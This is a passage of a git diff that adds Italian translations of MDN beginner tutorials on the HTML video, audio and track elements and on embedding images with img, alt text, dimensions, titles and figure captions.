+<p><img alt="A video player showing a poster image before it plays. The poster image says HTML5 video example, OMG hell yeah!" src="https://mdn.mozillademos.org/files/12796/extra-video-features.png" style="display: block; height: 731px; margin: 0px auto; width: 653px;">Le nuove funzionalità sono:</p>
+
+<dl>
+ <dt>{{htmlattrxref("width","video")}} e {{htmlattrxref("height","video")}}</dt>
+ <dd>Puoi controllare la dimensione del video sia con questi attributi che con i {{Glossary("CSS")}}. In entrambi i casi i video mantengono il loro rapporto larghezza-altezza nativo, conosciuto come <strong>aspect ratio</strong>. Se il rapporto d'aspetto non è mantenuto dalle dimensioni impostate da te, il video sarà ridimensionato fino alla dimensione orizzontale e lo spazio non occupato verticalmente verrà riempito, di default, con uno sfondo colorato.</dd>
+ <dt>{{htmlattrxref("autoplay","video")}}</dt>
+ <dd>Questo attributo fa partire l'audio o il video immediatamente, durante il caricamento della pagina. Ti suggeriamo di non usare l'autoplay nel tuo sito, perché gli utenti possono trovarlo molto fastidioso.</dd>
+ <dt>{{htmlattrxref("loop","video")}}</dt>
+ <dd>Questo attributo fa ricominciare il video (o l'audio) nuovamente, ogni volta che finisce. Anche questo può essere fastidioso, quindi usalo solo se necessario.</dd>
+ <dt>{{htmlattrxref("muted","video")}}</dt>
+ <dd>Questo attributo fa si che il video parta con l'audio disattivato per default.</dd>
+ <dt>{{htmlattrxref("poster","video")}}</dt>
+ <dd>Questo attributo ha per valore l'URL di una immagine che sarà mostrata prima dell'avvio del video. Si suppone sia usata come schermata di lancio, promozionale.</dd>
+</dl>
+
+<p>Puoi trovare gli esempi sopra su <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/extra-video-features.html">play live on Github</a> (also <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/extra-video-features.html">see the source code</a>). Nota che non abbiamo incluso l'attributo <code>autoplay</code> nella versione live — se il video parte appena la pagina viene caricata, non potrai vedere il poster!</p>
+
+<h3 id="L'elemento_&lt;audio>">L'elemento &lt;audio&gt;</h3>
+
+<p>L'elemento {{htmlelement("audio")}} funziona esattamente come l'elemento {{htmlelement("video")}}, con poche minime differenze illustrate qui sotto. Un esempio tipico potrebbe apparire così:</p>
+
+<pre class="brush: html">&lt;audio controls&gt;
+  &lt;source src="viper.mp3" type="audio/mp3"&gt;
+  &lt;source src="viper.ogg" type="audio/ogg"&gt;
+  &lt;p&gt;Your browser doesn't support HTML5 audio. Here is a &lt;a href="viper.mp3"&gt;link to the audio&lt;/a&gt; instead.&lt;/p&gt;
+&lt;/audio&gt;</pre>
+
+<p>Ciò produce qualcosa del genere, in un browser:</p>
+
+<p><img alt="A simple audio player with a play button, timer, volume control, and progress bar" src="https://mdn.mozillademos.org/files/12798/audio-player.png" style="display: block; height: 413px; margin: 0px auto; width: 626px;"></p>
+
+<div class="note">
+<p><strong>Nota</strong>: Puoi riprodurre<a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-audio-formats.html"> the audio demo live</a> on Github (also see the <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/multiple-audio-formats.html">audio player source code</a>.)</p>
+</div>
+
+<p>Questo occupa meno spazio di un player video, perché non c'è la componente visiva — devi solo visualizzare i controlli per l'audio. Altre differenze dall'HTML5 video sono queste:</p>
+
+<ul>
+ <li>l'elemento {{htmlelement("audio")}} non supporta gli attributi <code>width</code>/<code>height</code> — non essendoci la componente video, non c'è nulla a cui poter assegnare larghezza o altezza.</li>
+ <li>non supporta neanche l'attributo <code>poster</code> — per la stessa ragione: nessuna componente visiva.</li>
+</ul>
+
+<p>A parte ciò,  <code>&lt;audio&gt;</code> supporta tutte le caratteristiche di <code>&lt;video&gt;</code> — puoi vedere la precedente sezione per avere informazioni a riguardo, se non l'hai ancora vista.</p>
+
+<h2 id="Mostrare_le_traccie_testuali_(sottotitoli)_dei_video">Mostrare le traccie testuali (sottotitoli) dei video</h2>
+
+<p>Adesso discuteremo un concetto leggermente più avanzato, che è molto utile conoscere. Molta gente non può o non vuole ascoltare il contenuto audio del web, almeno certe volte. Per esempio:</p>
+
+<ul>
+ <li>molta gente ha invalidità uditive (difficoltà di ascolto, sordità) e non può sentire l'audio.</li>
+ <li>altri potrebbero non essere in grado di sentire perchè si trovano in un ambiente rumoroso (come un bar affollato quando viene trasmesso un evento sportivo) o potrebbero voler evitare di disturbare gli altri, se si trovano in un ambiente silenzioso (come una bibblioteca).</li>
+ <li>le persone che non parlano la lingua del video, potrebbero desiderare una trascrizione o una traduzione che gli aiuti a capire il contenuto del media.</li>
+</ul>
+
+<p>Non sarebbe bello poter fornire a queste persone una trascrizione del testo enunciato nel video/audio? Bene, grazie all'HTML5 si può; con il formato <a href="/en-US/docs/Web/API/Web_Video_Text_Tracks_Format">WebVTT</a> e l'elemento {{htmlelement("track")}}.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: "Transcribe (trascrivere)" e "transcript (trascrizione)" significa creare un testo scritto che riproduce le parole come sono pronunciate.</p>
+</div>
+
+<p>WebVTT è un formato  per scrivere file di testo contenenti molteplici stringhe di testo insieme a metadati come il tempo a cui vuoi che ogni stringa sia mostrata e limitate informazioni relative allo stile e alla opsizione. Queste stringhe di testo sono chiamate <strong>cues (battute)</strong>, e se ne possono visualizzare diversi tipi che hanno scopi diversi; le più comuni sono:</p>
+
+<dl>
+ <dt>subtitles</dt>
+ <dd>Traduzioni di materiale straniero, per chi non capisce la lingua</dd>
+ <dt>captions</dt>
+ <dd>trascrizioni sincronizzate di dialoghi o descrizioni di suoni significativi, per permettere a chi non può sentire l'audio di capire cosa sta succedendo.</dd>
+ <dt>timed descriptions</dt>
+ <dd>testo che deve essere convertito in audio, per essere disponibile a chi ha disabilità visive.</dd>
+</dl>
+
+<p>Un tipico file WebVTT appare così:</p>
+
+<pre class="eval line-numbers  language-html"><code class="language-html">WEBVTT
+
+1
+00:00:22.230 --&gt; 00:00:24.606
+This is the first subtitle.
+
+2
+00:00:30.739 --&gt; 00:00:34.074
+This is the second.
+
+  ...</code>
+</pre>
+
+<p>Per visualizzarlo insieme al riproduttore di media HTML, devi:</p>
+
+<ol>
+ <li>salvarlo come file <code>.vtt</code> in un posto adatto</li>
+ <li>collegare il file <code>.vtt</code>con l'elemento {{htmlelement("track")}}. Questo elemento <code>&lt;track&gt;</code> deve essere annidato dentro <code>&lt;audio&gt;</code> o <code>&lt;video&gt;</code>, ma dopo tutti gli elementi <code>&lt;source&gt;</code>. Usa l'attributo {{htmlattrxref("kind","track")}} per specificare se le battute sono <code>subtitles</code>, <code>captions</code>, o <code>descriptions</code>. Inoltre, usa l'attributo {{htmlattrxref("srclang","track")}} per dire al browser in quale lingua sono scritti i sottotitoli.</li>
+</ol>
+
+<p>Ecco un esempio:</p>
+
+<pre class="brush: html">&lt;video controls&gt;
+    &lt;source src="example.mp4" type="video/mp4"&gt;
+    &lt;source src="example.webm" type="video/webm"&gt;
+    &lt;track kind="subtitles" src="subtitles_en.vtt" srclang="en"&gt;
+&lt;/video&gt;</pre>
+
+<p>Ciò produrrà un video coi sottotitoli visualizzati più o meno così:</p>
+
+<p><img alt='Video player with stand controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."' src="https://mdn.mozillademos.org/files/7887/video-player-with-captions.png" style="display: block; height: 365px; margin: 0px auto; width: 593px;"></p>
+
+<p>Per avere più dettagli, leggi <a href="/en-US/Apps/Build/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video">Adding captions and subtitles to HTML5 video</a>. Puoi trovare l'esempio sviluppato in questo articolo qui: <a href="http://iandevlin.github.io/mdn/video-player-with-captions/">find the example</a>, su Github, scritto da Ian Devlin (guarda anche il <a href="https://github.com/iandevlin/iandevlin.github.io/tree/master/mdn/video-player-with-captions">codice sorgente)</a>. Questo esempio usa alcuni JavaScript per permettere agli utenti di scegliere tra differenti sottotitoli. Nota che per attivare i sottotitoli, devi premere il bottone "CC" e selezionare un'opzione — English, Deutch, o Español. </p>
+
+<div class="note">
+<p><strong>Nota</strong>: le "Text tracks" ti aiutano anche con la {{glossary("SEO")}}, perché i motori di ricerca brillano particolarmente coi testi.  I sottotitoli (Text tracks/traccie di testo) permettono ai motori di ricerca, persino di linkare direttamente una certa parte del video.</p>
+</div>
+
+<h2 id="Active_learning_Includere_un_proprio_audio_o_video">Active learning: Includere un proprio audio o video</h2>
+
+<p>Per questo apprendimento attivo, ci piacerebbe che tu andassi fuori a registrare alcuni video tuoi — molti telefoni, oggi, consentono di registrare audio e video molto facilmente e se riesci a trasferirli sul tuo computer, li puoi usare. Potresti dover fare alcune conversioni per ottenere i formati WebM o MP4, per i video, oppure MP3 o Ogg, per l'audio, ma ci sono molti programmi che permettono di farlo senza problemi, come <a href="http://www.mirovideoconverter.com/">Miro Video Converter</a> e <a href="https://sourceforge.net/projects/audacity/">Audacity</a>. Ci piacerebbe che facessi un tentativo!</p>
+
+<p>Se non sai generare acun video o audio, allora puoi usare i nostri <a href="https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/video-and-audio-content">campioni di file video e audio</a> per portare a termine l'esercizio. Puoi anche usare i campioni di codice come riferimento.</p>
+
+<p>Ci piacerebbe che:</p>
+
+<ol>
+ <li>salvassi i tuoi file audio e video in una nuova directory sul tuo computer,</li>
+ <li>creassi un nuovo file <code>index.html</code> nella stessa directory,</li>
+ <li>aggiungessi gli elementi <code>&lt;audio&gt;</code> e <code>&lt;video&gt;</code> alla pagina facendogli mostrare i controlli di default del browser,</li>
+ <li>dessi a entrambi degli elementi <code>&lt;source&gt;</code> così che il browser trovi il formato che supportano meglio e lo caricassero; ciò include l'uso dell'attributo <code>type</code>,</li>
+ <li>dessi all'elemento <code>&lt;video&gt;</code> un poster da visualizzare prima che il video venga avviato. Divertiti a creare il tuo personale poster disegnato.</li>
+</ol>
+
+<p>Per raggiungere dei bonus, puoi provare a cercare text tracks (sottotitoli) e studiare come aggiungere qualche trascrizione al tuo video.</p>
+
+<h2 id="Conclusioni">Conclusioni</h2>
+
+<p>Questo è quanto. Speriamo tu ti sia divertito/a a giocare con contenuti video e audio! Nel prossimo articolo vedremo altri modi per inserire contenuti nelle pagine web, usando tecnologie come gli {{htmlelement("iframe")}} e gli {{htmlelement("object")}}.</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{htmlelement("audio")}}</li>
+ <li>{{htmlelement("video")}}</li>
+ <li>{{htmlelement("source")}}</li>
+ <li>{{htmlelement("track")}}</li>
+ <li><a href="/en-US/Apps/Build/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video">Aggiungere captions e subtitles ai video HTML5</a></li>
+ <li><a href="/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_delivery">Distribuire Audio and Video</a>: MOLTI dettagli su come mettere audio e video nelle pagine web usando HTML e JavaScript.</li>
+ <li><a href="/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_manipulation">Manipolazione di Audio e Video</a>: MOLTI dettagli sulla manipolazione di audio e video usando JavaScript (per esempio come aggiungere dei filtri).</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Images_in_HTML", "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding")}}</p>
+
+<dl>
+</dl>
+
+<ul>
+</ul>
diff --git a/files/it/learn/html/multimedia_and_embedding/images_in_html/index.html b/files/it/learn/html/multimedia_and_embedding/images_in_html/index.html
new file mode 100644
index 0000000000..5015ad5516
--- /dev/null
+++ b/files/it/learn/html/multimedia_and_embedding/images_in_html/index.html
@@ -0,0 +1,352 @@
+---
+title: Immagini in HTML
+slug: Learn/HTML/Multimedia_and_embedding/Images_in_HTML
+translation_of: Learn/HTML/Multimedia_and_embedding/Images_in_HTML
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding")}}</div>
+
+<p class="summary">All'inizio, il Web era fatto di solo testo ed era piuttosto noioso. Fortunatamente, non è passato molto prima che venisse aggiunta la possibilità di integrare immagini (e altri tipi di contenuto più interessanti) nelle pagine web. Ci sono altri tipi di contenuti multimediali da considerare, ma è logico cominciare con l'elemento {{htmlelement("img")}}, usato per introdurre una singola immagine. In questo articolo vedremo in profondità come usarlo, le nozioni fondamentali, come commentarlo con il titolo usando l'elemento {{htmlelement("figure")}} e come si collega alle immagini di background coi CSS.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Alfabetizzazione di base sui computer, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">software basilare installato</a>, conoscenze di base su <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">gestione dei file</a>, familiarità con i fondamenti di HTML (come trattati in <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Cominciare con l'HTML</a>.)</td>
+  </tr>
+  <tr>
+   <th scope="row">Obbiettivi:</th>
+   <td>Imparare ad introdurre semplici immagini in HTML, commentarle con i titoli e come collegarle alle immagini di background coi CSS.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Come_facciamo_a_mettere_un'immagine_in_una_pagina_web">Come facciamo a mettere un'immagine in una pagina web?</h2>
+
+<p>Per mettere una semplice immagine in una pagina web, usiamo l'elemento {{htmlelement("img")}}. Si tratta di un elemento vuoto (significa che non ha un contenuto testuale ne un tag di chiusura) che richiede un attributo per poter funzionare — <code>src</code> (pronounciato <em>sarc</em>, a volte chiamato col suo nome intero <em>source</em>). L'attributo <code>src</code> contiene un percorso (path) che punta all'immagine che si vuole mettere nella pagina, che può essere un URL relativo o assoluto; nello stesso modo in cui il valore dell'attributo <code>href</code> dell'elemento {{htmlelement("a")}} punta alla risorsa da linkare (si dovrebbe leggere <a href="/en-US/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#A_quick_primer_on_URLs_and_paths">A quick primer on URLs and paths</a> per rinfrescarsi la memoria prima di continuare).</p>
+
+<p>Quindi, per esempio, se l'immagine è chiamata <code>dinosaur.jpg</code> ed è collocata nella stessa directory della pagina HTML, la si può inserire così:</p>
+
+<pre class="brush: html">&lt;img src="dinosaur.jpg"&gt;</pre>
+
+<p>Se l'immagine si trova in una sottodirectory <code>images</code> della directory in cui si trova la pagina HTML (che è la soluzione raccomandata da Google per scopi di indicizzazione e {{glossary("SEO")}}), allora si può fare così:</p>
+
+<pre class="brush: html">&lt;img src="images/dinosaur.jpg"&gt;</pre>
+
+<p>E così via.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: I motori di ricerca leggono anche il nome del file dell'immagine e ne tengono conto per la SEO — si dovrebbe perciò dare al file un nome descrittivo ("<code>dinosaur.jpg</code>" è meglio di "<code>img835.png</code>").</p>
+</div>
+
+<p>Si potrebbe inserire l'immagine usando l'URL assoluto, per esempio:</p>
+
+<pre class="brush: html">&lt;img src="https://www.example.com/images/dinosaur.jpg"&gt;</pre>
+
+<p>Ma ciò è inutile, poiché fa fare al browser più lavoro, ricavando nuovamente l'indirizzo IP daccapo dal server DNS quando, quasi sempre, le immagini saranno salvate sullo stesso server web dell'HTML.</p>
+
+<div class="warning">
+<p><strong>Attenzione:</strong> la maggior parte delle immagini è coperta da copyright. Non si deve mostrare un'immagine nel proprio sito, a meno che 1) si sia proprietari dell'immagine 2) si sia ricevuto esplicito permesso scritto dal proprietario dell'immagine, o 3) si abbia prova che l'immagine è di pubblico dominio. Le violazioni al copyright sono illegali ed immorali.</p>
+
+<p>Inoltre, non si deve <strong>mai</strong> far puntare l'attributo <code>src</code> ad una immagine ospitata sul sito di qualcun altro senza avere il permesso: questo comportamento è chiamato "hotlinking" — nuovamente, rubare la larghezza di banda di qualcun altro è illegale e sbagliato (in più rallenta la tua pagina e non si ha il controllo sull'immagine, che potrebbe venir rimossa o sostituita con qualcosa di inappropriato).</p>
+</div>
+
+<p>Il codice riportato sopra dovrebbe dare il seguente risultato:</p>
+
+<p><img alt="A basic image of a dinosaur, embedded in a browser, with Images in HTML written above it" src="https://mdn.mozillademos.org/files/12700/basic-image.png" style="display: block; height: 700px; margin: 0px auto; width: 700px;"></p>
+
+<div class="note">
+<p><strong>Nota</strong>: elementi come {{htmlelement("img")}} e {{htmlelement("video")}} sono a volte indicati come <strong>replaced elements</strong> (elementi sostituiti), perché il contenuto dell'elemento e la dimensione sono determinati da una risorsa esterna (file immagine o video) e non dal contenuto dell'elemento stesso.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: si possono trovare gli esempi di questa sezione in <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/images-in-html/index.html">running on Github</a> (guarda anche il <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/images-in-html/index.html">codice sorgente</a>.)</p>
+</div>
+
+<h3 id="Testo_alternativo">Testo alternativo</h3>
+
+<p>Il prossimo atrtibuto che guarderemo è <code>alt</code> — il suo valore si suppone che sia una descrizione dell'immagine in forma di testo, che possa essere usata in situazioni nelle quali l'immagine non può essere vista o mostrata. Per esempio, il nostro codice potrebbe essere modificato così:</p>
+
+<pre class="brush: html">&lt;img src="images/dinosaur.jpg"
+     alt="The head and torso of a dinosaur skeleton;
+          it has a large head with long sharp teeth"&gt;</pre>
+
+<p>Il modo più semplice per testare il funzionamento di questo attributo è di scrivere male il nome del file nell'attributo src (ad esempio dinosooor.jpg); in questo caso il browser non mostrerà l'immagine perché non la troverà e al suo posto mostrerà il testo alternativo.</p>
+
+<p><img alt="The Images in HTML title, but this time the dinosaur image is not displayed, and alt text is in its place." src="https://mdn.mozillademos.org/files/12702/alt-text.png" style="display: block; height: 700px; margin: 0px auto; width: 700px;"></p>
+
+<p>Perciò, perché mai dovresti visualizzare o aver bisogno del testo alternativo? Può essere utile in numerose situazioni:</p>
+
+<ul>
+ <li>L'utente è ipovedente e utilizza uno screen reader per leggere il web — in un caso come questo è davvero essenziale avere a disposizione un testo alternativo.</li>
+ <li>Come ipotizzato prima si potrebbe aver scritto male il nome del file dell'immagine.</li>
+ <li>Il browser non supporta il tipo di file dell'immagine. Alcune persone usano ancora browser solo testo, come <a href="https://en.wikipedia.org/wiki/Lynx_%28web_browser%29">Lynx</a>, che mostrano il testo alternativo di ogni immagine.</li>
+ <li>Si vuole che il testo sia utilizzato dai motori di ricerca per indicizzare le immagini — I motori di ricerca possono rispondere alle interrogazioni cercando il testo che combacia con la stringa ricercata anche all'interno del testo alternativo delle immagini.</li>
+ <li>Fornire una alternativa agli utenti che hanno disabilitato le immagini per ridurre il consumo di banda e le distrazioni (comportamento diffuso nei paesi in cui l'ampiezza di banda è limitata e costosa).</li>
+</ul>
+
+<p>Cosa si dovrebbe scrivere, esattamente, come valore dell'attributo <code>alt</code>? DIpende dal motivo per cui l'immagine si trova li; in altre parole: cosa si perde se l'immagine non viene vista?</p>
+
+<ul>
+ <li><strong>Decorazione. </strong>Se l'immagine è solo una decorazione e non è parte del contenuto, si può lasciare vuoto, add a blank <code>alt=""</code>, così, per esempio, uno screen reader non perde tempo a leggere contenuto privo di utilità per l'utente. Le immagini decorative non fanno realmente parte del contenuto HTML — {{anch("CSS background images")}} dovrebbero essere usati per introdurre decorazioni — ma se è inevitabile, la miglior cosa da fare è lasciare l'attributo in bianco (<code>alt=""</code>).</li>
+ <li><strong>Contenuto.</strong> Se l'immagine fornisce informazioni significative, fornire le stesse informazioni in forma sintetica con <code>alt</code> text, o ancora meglio, nel testo principale che tutti possono vedere. Non scrivere <code>alt</code> text ridondanti (quanto sarebbe noioso per un utente vedente se tutti i paragrafi fossero scritti due volte di seguito?). Se l'immagine è adeguatamente descritta nel testo principale, si può nuovamente lasciare <code>alt=""</code>.</li>
+ <li><strong>Link.</strong> Se si mette una immagine in un elemento {{htmlelement("a")}} per usarla come link, si dovrebbe comunque fornire un link testuale accessibile (<a href="/en-US/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#Use_clear_link_wording">accessible link text</a>) — in questi casi si può sia scriverlo all'interno dell'elemento <code>&lt;a&gt;</code> o all'interno dell'attributo <code>alt</code> dell'immagine, se si pensa che funzioni meglio.</li>
+ <li><strong>Text.</strong> Non si dovrebbe scrivere del testo nelle immagini (se ad esempio il titolo principale ha bisogno di un effetto ombra, si possono usare i CSS piuttosto che far diventare il testo una immagine). Se davvero non si può evitare di farlo, si dovrebbe comunque fornire il testo tramite l'attributo <code>alt</code>.</li>
+</ul>
+
+<p>La chiave è consentire una esperienza proficua anche quando non si può fruire delle immagini, così che gli utenti non perdano alcun contenuto. Provate a disattivare le immagini nel browser e a vedere qual è il risultato; ci si renderà subito conto di quanto inutili siano degli alt text come "logo" o "il mio posto preferito" quando le immagini non sono visibili:</p>
+
+<div class="note">
+<p><strong>Nota</strong>: La WebAIM's <a href="http://webaim.org/techniques/alttext/">Alternative text guide</a> fornisce più dettagli e se si vogliono più informazioni è sicuramente una buona lettura.</p>
+</div>
+
+<h3 id="Larghezza_e_altezza">Larghezza e altezza</h3>
+
+<p>Si possono usare gli attributi <code>width</code> e <code>height</code> per specificare la larghezza e l'altezza dell'immagine (si possono ricavare le misure in diversi modi: per esempio su un Mac si può usare la combinazione di tasti <kbd>Cmd</kbd> + <kbd>I</kbd> per ottenere le informazioni sull'immagine). Tornando all'esempio, si può fare così:</p>
+
+<pre class="brush: html">&lt;img src="images/dinosaur.jpg"
+     alt="The head and torso of a dinosaur skeleton;
+          it has a large head with long sharp teeth"
+     width="400"
+     height="341"&gt;</pre>
+
+<p>In circostanze normali ciò non produce differenze nella visualizzazione, ma se l'immagine non dovesse essere visualizzata (per esempio si è appena aperta la pagina e l'immagine non è ancora stata visualizzata) si noterà che il browser riserva dello spazio per farvi apparire l'immagine:</p>
+
+<p><img alt="The Images in HTML title, with dinosaur alt text, displayed inside a large box that results from width and height settings" src="https://mdn.mozillademos.org/files/12706/alt-text-with-width-height.png" style="display: block; height: 700px; margin: 0px auto; width: 700px;"></p>
+
+<p>È una buona cosa da fare — produce un più rapido e fluido caricamento della pagina.</p>
+
+<p>Non si dovrebbe alterare la dimensione dell'immagine per mezzo degli attributi HTML — se si imposta una dimensione troppo grande si otterrà un'immagine sgranata, sfocata; se la si imposta più piccola vuol dire che si spreca banda per far scaricare un'immagine più grande di ciò di cui abbiamo bisogno. Se non si mantiene il corretto rapporto tra le dimensioni (<a href="https://en.wikipedia.org/wiki/Aspect_ratio_%28image%29">aspect ratio</a>) l'immagine risulterà distorta. Si dovrebbe usare un editor di immagini per ridimensionare l'immagine secondo le proprie necessità, prima di metterla su internet.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: se si ha la necessità di alterare le dimensioni dell'immagine, lo si dovrebbe fare coi CSS piuttosto che con l'HTML.</p>
+</div>
+
+<h3 id="Titoli_delle_immagini">Titoli delle immagini</h3>
+
+<p>Come per i<a href="https://developer.mozilla.org/en-US/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#Adding_supporting_information_with_%3Ctitle%3E"> link</a>, si può aggiungere un attributo <code>title</code> per fornire ulteriori informazioni di supporto. Nell'esempio, possiamo fare così:</p>
+
+<pre class="brush: html">&lt;img src="images/dinosaur.jpg"
+     alt="The head and torso of a dinosaur skeleton;
+          it has a large head with long sharp teeth"
+     width="400"
+     height="341"
+     title="A T-Rex on display in the Manchester University Museum"&gt;</pre>
+
+<p>Ciò produce un tooltip, proprio come accade per i "title" dei link.</p>
+
+<p><img alt="The dinosaur image, with a tooltip title on top of it that reads A T-Rex on display at the Manchester University Museum " src="https://mdn.mozillademos.org/files/12708/image-with-title.png" style="display: block; height: 341px; margin: 0px auto; width: 400px;"></p>
+
+<p>I title delle immagini non sono essenziali per aggiungere qualcosa di significativo e spesso è meglio aggiungere queste informazioni di supporto nel testo principale dell'articolo, piuttosto che attaccarle all'immagine. Sono tuttavia utili in alcune circostanze; per esempio in una galleria di immagini, dove non si ha lo spazio per le didascalie.</p>
+
+<h3 id="Apprendimento_attivo_inserire_un'immagine">Apprendimento attivo: inserire un'immagine</h3>
+
+<p>Ok, adesso è il tuo turno! In questa sezione active learning ci piacerebbe fare un semplice esercizio. Sei stato istruito su un fondamentale elemento {{htmlelement("img")}}; ci piacerebbe che inserissi l'immagine reperibile al seguente URL:</p>
+
+<p>https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg</p>
+
+<p>Si, prima abbiamo detto di non fare mai degli "hotlink" a immagini su altri server, ma questo è solo a scopo dimostrativo — ti assolveremo, per questa volta.</p>
+
+<p>Ci piacerebbe anche che:</p>
+
+<ul>
+ <li>aggiungessi alt text e verificassi che funziona sbagliando l'URL dell'immagine;</li>
+ <li>impostassi le corrette <code>width</code> e <code>height</code> (suggerimento: è larga 200px e alta 171px) e poi sperimentassi altri valori per vedere l'effetto;</li>
+ <li>impostassi un <code>title</code> per l'immagine.</li>
+</ul>
+
+<p>Se fai un errore, puoi sempre resettare con l'apposito bottone. Se sei proprio bloccato, premi il bottone <em>Show solution</em> .</p>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;h2&gt;Input&lt;/h2&gt;
+&lt;textarea id="code" class="input"&gt;
+&lt;img&gt;&lt;/textarea&gt;
+&lt;h2&gt;Output&lt;/h2&gt;
+&lt;div class="output"&gt;&lt;/div&gt;
+&lt;div class="controls"&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+  &lt;input id="solution" type="button" value="Show solution" /&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">body {
+  font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;
+}
+
+.input, .output {
+  width: 90%;
+  height: 10em;
+  padding: 10px;
+  border: 1px solid #0095dd;
+  overflow: auto;
+}
+
+button {
+  padding: 10px 10px 10px 0;
+}
+</pre>
+
+<pre class="brush: js">var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var code = textarea.value;
+var output = document.querySelector(".output");
+var solution = document.getElementById("solution");
+
+function drawOutput() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawOutput();
+});
+
+solution.addEventListener("click", function() {
+textarea.value = '&lt;img src="https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg"\n     alt="The head and torso of a dinosaur skeleton; it has a large head with long sharp teeth"\n     width="200"\n     height="171"\n     title="A T-Rex on display in the Manchester University Museum"&gt;';
+  drawOutput();
+});
+
+textarea.addEventListener("input", drawOutput);
+window.addEventListener("load", drawOutput);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 500) }}</p>
+
+<h2 id="Aggiungere_note_alle_immagini_(con_figures_e_figure_captions)">Aggiungere note alle immagini (con figures e figure captions)</h2>
+
+<p>Parlando di didascalie, ci sono molti modi per aggiungerle ad una immagine: per esempio non c'è niente ad impedirti di fare così:</p>
+
+<pre class="brush: html">&lt;div class="figure"&gt;
+  &lt;img src="images/dinosaur.jpg"
+       alt="The head and torso of a dinosaur skeleton;
+            it has a large head with long sharp teeth"
+       width="400"
+       height="341"&gt;
+
+  &lt;p&gt;A T-Rex on display in the Manchester University Museum.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<p>Questo è ok — produce l'effetto voluto ed è facilmente modificabile con i CSS; ma c'è un problema — non c'è niente che colleghi semanticamente l'immagine alla sua didascalia e ciò può creare problemi agli screen readers; per esempio, quando hai 50 immagini e 50 didascalie, cosa collega una all'altra?</p>
+
+<p>Una soluzione migliore è usare gli elementi dell'HTML5 {{htmlelement("figure")}} e {{htmlelement("figcaption")}} che sono appositamente stati creati per questa ragione: fornire un contenitore semantico per le immagini, che colleghi chiaramente ogni immagine con la sua didascalia; il nostro esempio può essere riscritto così:</p>
+
+<pre>&lt;figure&gt;
+  &lt;img src="images/dinosaur.jpg"
+       alt="The head and torso of a dinosaur skeleton;
+            it has a large head with long sharp teeth"
+       width="400"
+       height="341"&gt;
+
+  &lt;figcaption&gt;A T-Rex on display in the Manchester University Museum.&lt;/figcaption&gt;
+&lt;/figure&gt;</pre>
+
+<p>L'elemento {{htmlelement("figcaption")}} dice al browser e alle tecnologie per l'accessibilità (assistive technology) che la didascalia descrive il restante contenuto dell'elemento {{htmlelement("figure")}}.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: dal punto di vista dell'accessibilità, le didascalie e l'{{htmlattrxref('alt','img')}} text hanno ruoli distinti. Le didascalie beneficiano anche coloro che possono vedere l'immagine, mentre il testo alternativo ({{htmlattrxref('alt','img')}} text) fornisce le stesse funzionalità di una immagine che però, manca. Perciò captions e <code>alt</code> text non dovrebbero dire la stessa cosa, perché quando l'immagine manca, appaiono entrambe. Provate a disattivare le immagini nel browser e a vedere l'effetto che fa.</p>
+</div>
+
+<p>Notate che una "figure" non deve necessariamente essere un'immagine — una figure è una unità indipendente di contenuto che:</p>
+
+<ul>
+ <li>esprime il concetto in maniera sintetica e facile da afferrare</li>
+ <li>può comparire in vari punti del flusso lineare della pagina</li>
+ <li>fornisce informazioni essenziali di supporto al testo principale.</li>
+</ul>
+
+<p>Una figure potrebbe essere costituita da diverse immagini, un frammento di codice, audio o video, equazioni, una tabella o altro.</p>
+
+<h3 id="Active_learning_creare_una_figure">Active learning: creare una figure</h3>
+
+<p>In questa sezione di apprendimento attivo, ci piacerebbe che prendessi il codice della precedente sezione active learning e lo trasformassi in una figure:</p>
+
+<ul>
